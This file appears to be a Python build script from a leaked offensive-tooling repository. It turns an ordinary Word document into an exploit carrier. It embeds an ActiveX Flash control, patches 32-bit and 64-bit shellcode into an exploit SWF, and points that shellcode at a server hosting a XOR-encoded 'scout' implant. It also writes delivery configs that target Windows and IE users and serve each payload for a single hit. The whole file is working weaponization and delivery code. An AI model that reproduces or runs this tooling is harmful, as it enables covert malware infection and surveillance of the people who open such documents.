hackedteam/vector-exploit

View on GitHub
src/edn2/2013-002-Word-TLS/build

Summary

Maintainability
Test Coverage
#!/usr/bin/env python

import os
import sys
import copy
import json
import glob
import zlib
import random
import shutil
import pylzma
import struct
import argparse
import platform
import tempfile
import urlparse
import subprocess
import ConfigParser

from zipfile import ZipFile

# ------- start of utils subs -------
def random_id(length):
    number = '0123456789'
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0, length, 2):
        id += random.choice(number)
        id += random.choice(alpha)
    return id
    

def four_byte_xor(buf, key):
    out = ''
    for i in range(0, len(buf)/4):
        c = struct.unpack('<I', buf[(i*4):(i*4)+4])[0]
        c ^= key
        out += struct.pack('<I', c)

    reminder = len(buf) % 4
    for i in range(len(buf) - reminder, len(buf)):
        c = struct.unpack('B', buf[i])[0]
        c ^= 0x41
        out += struct.pack('B', c)
    return out

def byteArray2String(param):
    f, tmp = tempfile.mkstemp() 
    os.close(f)

    f = open(tmp, 'wb')
    f.write(param)
    f.close()
    
    f = open(tmp, 'rb')
    result = f.read()
    f.close()

    try:
        os.unlink(tmp)
    except WindowsError:
        print 'I/O error when deleting {} file'.format(tmp)

    return result
        

# ------- end of utils subs -------

# ------- start of build subs -------

def create_doc(input_docx):
    # unpack zip file
    if not os.path.exists("tmp"):
        os.mkdir("tmp")

    myzip = ZipFile(input_docx)
    myzip.extractall("tmp")
    myzip.close()


    # update content types
    buff = open("tmp/[Content_Types].xml", 'r').read()
    idx = buff.lower().find("<types")
    idx2 = buff[idx:].lower().find(">") + 1

    buff2 = buff[:idx+idx2]
    if buff.lower().find("vnd.ms-office.activex") == -1:
        buff2 += '<Default ContentType="application/vnd.ms-office.activeX" Extension="bin"/>'
    if buff.lower().find("image/x-wmf") == -1:
        buff2 += '<Default ContentType="image/x-wmf" Extension="wmf"/>'
    buff2 += '<Override ContentType="application/vnd.ms-office.activeX+xml" PartName="/word/activeX/activeX1.xml"/>'

    buff2 += buff[idx+idx2:]
    open("tmp/[Content_Types].xml", 'w').write(buff2)

    # update rels
    buff = open("tmp/word/_rels/document.xml.rels", 'r').read()
    idx = buff.lower().find("</relationships>")

    buff2 = buff[:idx]
    buff2 += '<Relationship Target="activeX/activeX1.xml" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/control" Id="rId1000"/><Relationship Target="media/image1000.wmf" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Id="rId1001"/>'
    buff2 += "</Relationships>"
    open("tmp/word/_rels/document.xml.rels", 'w').write(buff2)

    # update document
    buff = open("tmp/word/document.xml", 'r').read()
    #idx = buff.lower().find("</w:body")
    #idx2 = 0
    idx = buff.lower().find("<w:body")
    idx2 = buff[idx:].lower().find(">") + 1

    buff2 = buff[:idx+idx2]
    buff2 += '<w:control w:name="ShockwaveFlash1" r:id="rId1000"/>'
    buff2 += buff[idx+idx2:]
    open("tmp/word/document.xml", 'w').write(buff2)

    if os.path.exists("tmp/word/activeX"):
        print "[!!] Unsupported file: contains an ActiveX"
        sys.exit(-1);

    if not os.path.exists("tmp/word/activeX/"):
        shutil.copytree("resources/activeX/", "tmp/word/activeX/")

    if not os.path.exists("tmp/word/media/"):
        shutil.copytree("resources/media/", "tmp/word/media/")
    else:
        shutil.copy("resources/media/image1000.wmf", "tmp/word/media/")
    



'''
  params:
- target_directory: exploit files destination folder
- ip: ip hosting exploit files
- scout_name: name of the scout as installed
- scout_input_path: path of the scout provided
- docx: path of the docx provided
- output: docx with the exploit link embedded
- swf_random_name: name of the swf hosted at ip
- exe_random_name: name of the exe(scout) hosted at ip
'''

def  edn_build(target_directory, ip, basedir, scout_name, scout_input_path, docx, output_file, swf_random_name, exe_random_name, expiry, validate):
    print '[*] Word Exploit:\n    target directory: {}\n    ip: {}\n    basedir: {}\n    scout name: {}\n\
    scout input: {}\n    docx: {}\n    output: {}\n    swf_random_name: {}\n    exe_random_name: {}\n'.format(target_directory, ip, basedir, scout_name, scout_input_path, docx, output_file, swf_random_name, exe_random_name )


    # clear tmp in case there're some leftovers
    for root, dirs, files in os.walk('tmp'):
        for f in files:
            os.unlink(os.path.join(root, f))
        for d in dirs:
            shutil.rmtree(os.path.join(root, d))
    
    # check whether we're regenerating or not
    if os.path.exists(os.path.join(target_directory, '.config')):
        
        print '[*] N.B. regenerating an existing exploit'

        old_stuff = os.path.join(target_directory, 'instance_{}'.format(random_id(5)))
        os.mkdir(old_stuff)
        shutil.move(os.path.join(target_directory, 'data'), old_stuff)
        for f in glob.glob(os.path.join(target_directory, '*.ini')):
            shutil.move(f, old_stuff)

        shutil.move(old_stuff, os.getcwd())

    os.mkdir(os.path.join(target_directory, 'data'))
            
    create_doc(docx)

    # check whether we're regenerating this exploit, i.e. '.config' file exists within the exploit root dir
    config_path = os.path.join(target_directory, '.config')
    if os.path.exists(config_path):
        data = json.load(open(config_path))
        swf_url =  str(data['url'])
        swf_random_name = swf_url[swf_url.rfind('/')+1:]

        parsed_url = urlparse.urlparse(swf_url)
        ip = parsed_url.scheme + '://' +  parsed_url.netloc
        basdir = parsed_url.path[1:parsed_url.path.rfind('/')]
      
    else:
        #swf_url = ip + '/' + basedir + '/' + swf_random_name
        swf_url = ip  + basedir + swf_random_name
        open(config_path, 'w').write('{{"url": "{}"}}'.format(swf_url))
  
    
    #exe_url = ip + '/' + basedir + '/' + exe_random_name
    exe_url = ip + basedir + exe_random_name


    print '[*] exe_url: {}'.format(exe_url)
    print '[*] swf_url: {}'.format(swf_url)

    scout_name = scout_name
    xor_key = random.randint(0xdead, 0xdeadbeef)

    # offsets within resources/shellcode
    xor_offt = 0x88 * 2
    url_offt = xor_offt + (0x4*2)
    scout_offt = 0x110 * 2
    

    # offsets within resources/shellcode64
    xor_offt64 = 0
    url_offt64 = 8
    scout_offt64 = 0x88 * 2

    # decompress swf
    compressed_swf = open("resources/exploit.swf", 'rb').read()
    swf_buff = zlib.decompress(compressed_swf[8:])

    # replace  :)
    swf_buff = swf_buff.replace("ht-201", "abc123")
    swf_buff = swf_buff.replace("vector-exploit", "pector-isbrovi")


    # --- start 32bit ---

    stage2_offset = swf_buff.find(b"EFBEADDE")
    if stage2_offset == 0:
        print "[E] Gadget for shellcode not found"
        sys.exit(-1)
    print "[*] Gadget for shellcode found @ 0x%x" %(stage2_offset)


    swf_bytearray = bytearray(swf_buff)

    # replace shellcode 32
    shellcode = open("resources/shellcode", 'rb').read()
    if len(shellcode) > 5800:
           print "[!!] Shellcode too big: 0x%x" % (len(shellcode))
           sys.exit(-1)

    hex_shellcode = shellcode.encode('hex')

    # find mov var, 0xf001f001
    #   0xf001f001 -> shellcode will validate CA
    #   !0xf001f001 -> shellcode will not validate CA
    if not validate:
        flag = 'c745fc01f001f0'
        position = hex_shellcode.find(flag)
        if position == -1:
            print('[E] could not find validate cert flag')
            exit(-1)
        hex_shellcode = hex_shellcode.replace(flag, 'c745fceeeeeeee')

    for i in range(len(hex_shellcode)):
        swf_bytearray[stage2_offset + i] = hex_shellcode[i]



    # modify URL 32
    hex_url = exe_url.encode('hex') + "0000"
    print "[*] Hex URL => %s" %(hex_url)
    for i in range(len(hex_url)):
        swf_bytearray[stage2_offset + url_offt + i] = hex_url[i]


    # modify scout name 32
    hex_scout = "5c" + scout_name.encode('hex') + "0000"
    print "[*] Scout Name => %s" % (hex_scout)
    for i in range(len(hex_scout)):
        swf_bytearray[stage2_offset + scout_offt + i] = hex_scout[i]

    # modify xor key
    hex_xorkey = ("%08x" % xor_key)
    print "[*] Hex key => %s" %(hex_xorkey)

    swf_bytearray[stage2_offset + xor_offt + 0] = hex_xorkey[6]
    swf_bytearray[stage2_offset + xor_offt + 1] = hex_xorkey[7]
    swf_bytearray[stage2_offset + xor_offt + 2] = hex_xorkey[4]
    swf_bytearray[stage2_offset + xor_offt + 3] = hex_xorkey[5]
    swf_bytearray[stage2_offset + xor_offt + 4] = hex_xorkey[2]
    swf_bytearray[stage2_offset + xor_offt + 5] = hex_xorkey[3]
    swf_bytearray[stage2_offset + xor_offt + 6] = hex_xorkey[0]
    swf_bytearray[stage2_offset + xor_offt + 7] = hex_xorkey[1]

    # --- end 32bit ---

    # --- start 64bit ---

    # get offset to shellcode64
    stage264_offset = swf_buff.find(b"CAF1ADDE")
    if stage264_offset == 0:
            print "[!!] Gadget for shellcode64 not found"
            sys.exit(-1)
    print "[*] Gadget for shellcode found @ 0x%x" %(stage264_offset)
    # replace shellcode 64
    shellcode64 = open("resources/shellcode64", 'rb').read()
    if len(shellcode64) > (5800*2):
            print "[!!] Shellcode too big: 0x%x" % (len(shellcode64))
            sys.exit(-1)
    hex_shellcode64 = shellcode64.encode('hex')
    for i in range(len(hex_shellcode64)):
            swf_bytearray[stage264_offset + i] = hex_shellcode64[i]
    # modify URL 64
    hex_url = exe_url.encode('hex') + "0000"
    print "[*] Hex URL => %s" %(hex_url)
    for i in range(len(hex_url)):
            swf_bytearray[stage264_offset + url_offt64 + i] = hex_url[i]

    # modify scout name 64
    hex_scout = "5c" + scout_name.encode('hex') + "0000"
    print "[*] Scout Name => %s" % (hex_scout)
    for i in range(len(hex_scout)):
            swf_bytearray[stage264_offset + scout_offt64 + i] = hex_scout[i]

    # modify xor key 64
    hex_xorkey = ("%08x" % xor_key)
    print "[*] Hex key => %s" %(hex_xorkey)

    swf_bytearray[stage264_offset + xor_offt64 + 0] = hex_xorkey[6]
    swf_bytearray[stage264_offset + xor_offt64 + 1] = hex_xorkey[7]
    swf_bytearray[stage264_offset + xor_offt64 + 2] = hex_xorkey[4]
    swf_bytearray[stage264_offset + xor_offt64 + 3] = hex_xorkey[5]
    swf_bytearray[stage264_offset + xor_offt64 + 4] = hex_xorkey[2]
    swf_bytearray[stage264_offset + xor_offt64 + 5] = hex_xorkey[3]
    swf_bytearray[stage264_offset + xor_offt64 + 6] = hex_xorkey[0]
    swf_bytearray[stage264_offset + xor_offt64 + 7] = hex_xorkey[1]

    # --- end 64bit ---


    # compress swf
    uncompressed_len = len(swf_bytearray)
    uncompressed_len += len("ZWS\x0d") 
    uncompressed_len += 4 # + se stessa

    print "[*] Uncompressed len: 0x%x" %(uncompressed_len)
    lzma_buff = pylzma.compress(byteArray2String(swf_bytearray))
    compressed_len = len(lzma_buff) - 5
    print "[*] Compressed len: 0x%x" %(compressed_len)

    output_buff = "ZWS\x0d"
    output_buff += struct.pack("<L", uncompressed_len)
    output_buff += struct.pack("<L", compressed_len)
    output_buff += lzma_buff

    # write swf to disk
    open(swf_random_name, 'wb').write(output_buff)
    shutil.move(swf_random_name, os.path.join(target_directory, 'data/not_really_empty.swf') )

    # modify ole link
    ole_link_buff = open("tmp/word/activeX/activeX1.bin", 'rb').read()
    ole_link_offt = ole_link_buff.find("h\x00t\x00t\x00p")
    print "[*] Offset to first link: 0x%x" %(ole_link_offt)

    ole_link2_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link_offt+1) 
    print "[*] Offset to second link: 0x%x" %(ole_link2_offt)

    ole_link3_offt = ole_link_buff.find("h\x00t\x00t\x00p", ole_link2_offt+1) 
    print "[*] Offset to third link: 0x%x" %(ole_link3_offt)

    # when the tls cert is not validated, swf is served over plain http
    if not validate:
        swf_url = swf_url.replace('https', 'http')

    swf_url_bytearray = bytearray(swf_url + "\x00\x00")

    ole_link_bytearray = bytearray(ole_link_buff)
    for i in range(len(ole_link_bytearray)):
        if i == ole_link_offt or i == ole_link2_offt or i == ole_link3_offt:
            y = 0
            for x in range(len(swf_url_bytearray)):
                ole_link_bytearray[i+y] = swf_url_bytearray[x]
                ole_link_bytearray[i+y+1] = 0x0
                y += 2

    # dump modified ole link            
    open("tmp/word/activeX/activeX1.bin", 'wb').write(byteArray2String(ole_link_bytearray))


    # create docx
    cwd = os.getcwd()                        
    os.chdir(cwd + "/tmp")
    os.system('zip -r "../{}" *'.format(os.path.basename(docx) ))
    os.chdir(cwd)

    # create an archive containing the docx
    os.system('zip "{}" "{}"'.format(output_file, os.path.basename(docx)))
    os.remove(os.path.basename(docx))
    shutil.move(output_file + '.zip', output_file)

    # write xored scout        
    open(exe_random_name, 'wb').write(four_byte_xor(open(scout_input_path, 'rb').read(), xor_key))
    shutil.move(exe_random_name, os.path.join(target_directory, 'data/'))

    # copy xp filter and empty.swf
    shutil.copy('resources/empty.swf', os.path.join(target_directory, 'data/') )
    shutil.copy('resources/xp_filter.py', os.path.join(target_directory, 'data/') )
    os.chmod(os.path.join(target_directory, 'data/xp_filter.py'), 0755) 


    # --- generate edn configuration ---
    baseconfig = {
        "general": {  "expiry": 0, "hits": 1     },
        "valid": {   },
        "invalid": {"type": 404},
        "filters": { 'platform_description': '/windows/i',  'browser':  '/^IE$/'   },
        }

    
    # swf
    swf_config = copy.deepcopy(baseconfig)
    swf_config['general']['pos'] = 'first'
    swf_config['general']['expiry'] = expiry
    swf_config['valid']['type'] = 'exec'
    #swf_config['valid']['path'] = './{}'.format(swf_random_name)
    swf_config['valid']['path'] = './xp_filter.py'
    swf_config['valid']['headers[Content-Type]'] = 'application/x-shockwave-flash'
    swf_config['related'] = {}
    swf_config['related'][exe_random_name] = '+2min'
    write_edn_config(target_directory, swf_random_name, swf_config)

    # scout
    scout_config = copy.deepcopy(baseconfig)
    scout_config['general']['pos'] = 'last'
    scout_config['valid']['type'] = 'data'
    scout_config['valid']['path'] = './{}'.format(exe_random_name)
    scout_config['valid']['header[Content-Type]'] = 'application/octet-stream'
    scout_config['related'] = {}
    write_edn_config(target_directory, exe_random_name, scout_config)
    

def write_edn_config(target_directory, filename, options):
    config = ConfigParser.RawConfigParser()

    # Prevent ConfigParser from transforming option names to lowercase
    config.optionxform = str

    for k in options:
        config.add_section(k)
        for optk in options[k]:
            config.set(k, optk, options[k][optk])

    confpath = os.path.join(target_directory, filename + ".ini")
    with open(confpath, "w") as fp:
        config.write(fp)

    print "[*] wrote EDN config file: {}".format(confpath)


# ------- end of build subs -------    

# ./build --serveraddr='192.168.0.1' --serverip='192.168.0.1' --basedir='/docs/veryrandomdir/' --outdir='outdir/' --output='output' --t
# ype='worddoc' --expiry='1413469552' --client='CUSTOMER' --type='worddoc' --agent='upload/zip.exe' --document='upload/Doc1.docx'

def main():
    random.seed()
    
    # 0] scout_name
    # 1] scout input path
    # 2] docx input
    # 3] docx output path
    
    parser = argparse.ArgumentParser(description='[*] Word Exploit')
    parser.add_argument('--outdir', help='exploit destination folder', type=str)
    parser.add_argument('--serveraddr', help='server address hostname if available', type=str)

    parser.add_argument('--agent', help='input scout', type=str, required=True)
    parser.add_argument('--document', help='input docx', type=str, required=True)
    parser.add_argument('--output', help='output docx', type=str, required=True)
    parser.add_argument('--basedir', help='base directory', type=str, required=True)
    parser.add_argument('--expiry', help='expiry date', type=str, required=True)


    args, unknown = parser.parse_known_args()

    swf_random_name = random_id(12) + '.swf'
    exe_random_name = random_id(12) + '.dat'

    serveraddr = 'https://' + args.serveraddr

    # validate True  -> swf served in https, scout https, validate cert
    # validate False -> swf served in http, scout https, don't validate cert
    validate = True
    
    # extract scout metadata
    if platform.system() == 'Windows':
        ouch = subprocess.check_output('python ../agentdetect.py --latest "{}"'.format(args.agent), shell=True ) 
    else:
        ouch = subprocess.check_output('agentdetect --latest "{}"'.format(args.agent), shell=True ) 

    if ouch.strip() == 'None':
        print '[E] scout provided is not up to date'
        exit(-1)
    
    scout_data = json.loads(ouch)

    if scout_data['type'] != 'scout':
        print '[E] executable provided is not a scout'
        exit(-1)
    
    scout_name = scout_data['name']

    # build the exploit
    edn_build(args.outdir, serveraddr, args.basedir, scout_name, args.agent, 
              args.document, args.output, swf_random_name, exe_random_name, args.expiry, validate)
    

if __name__ == '__main__':
    main()